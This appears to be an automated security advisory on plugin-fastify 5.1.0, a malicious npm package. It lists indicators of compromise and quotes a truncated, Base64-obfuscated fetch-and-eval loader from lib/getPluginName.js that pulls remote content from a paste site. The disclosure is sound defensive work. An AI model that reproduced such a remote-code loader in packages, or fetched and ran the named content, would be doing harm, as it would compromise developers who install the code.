GCVE-110-OSM-2026-4208

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published May 13, 2026

[osmalyze-auto] Malicious package detected. Behaviors: network activity. [osmalyze-auto] Entrypoint: plugin.js (main: plugin.js) Payload: lib/getPluginName.js Key findings: - Fetch and Eval/Exec in lib/getPluginName.js: "fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==")).then(r=>r.json()..." - Decoded Base64 Content in lib/getPluginName.js - Brand New Package IOCs: - urls: http://delved.org, https://www.jsonkeeper.com/b/UBMJA - domains: matteocollina.com, www.jsonkeeper.com - emails: hello@matteocollina.com - payloadFileHash: 37cf6c0d813c39c6201f8976a11e639487d53dc4691eb9214b2627ed82b59487 Decoded/deobfuscated IOCs: - urls: https://www.jsonkeeper.com/b/UBMJA - domains: www.jsonkeeper.com

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	plugin-fastify	5.1.0 (affected)	—

References

Malicious npm package: plugin-fastify

advisory

vendor

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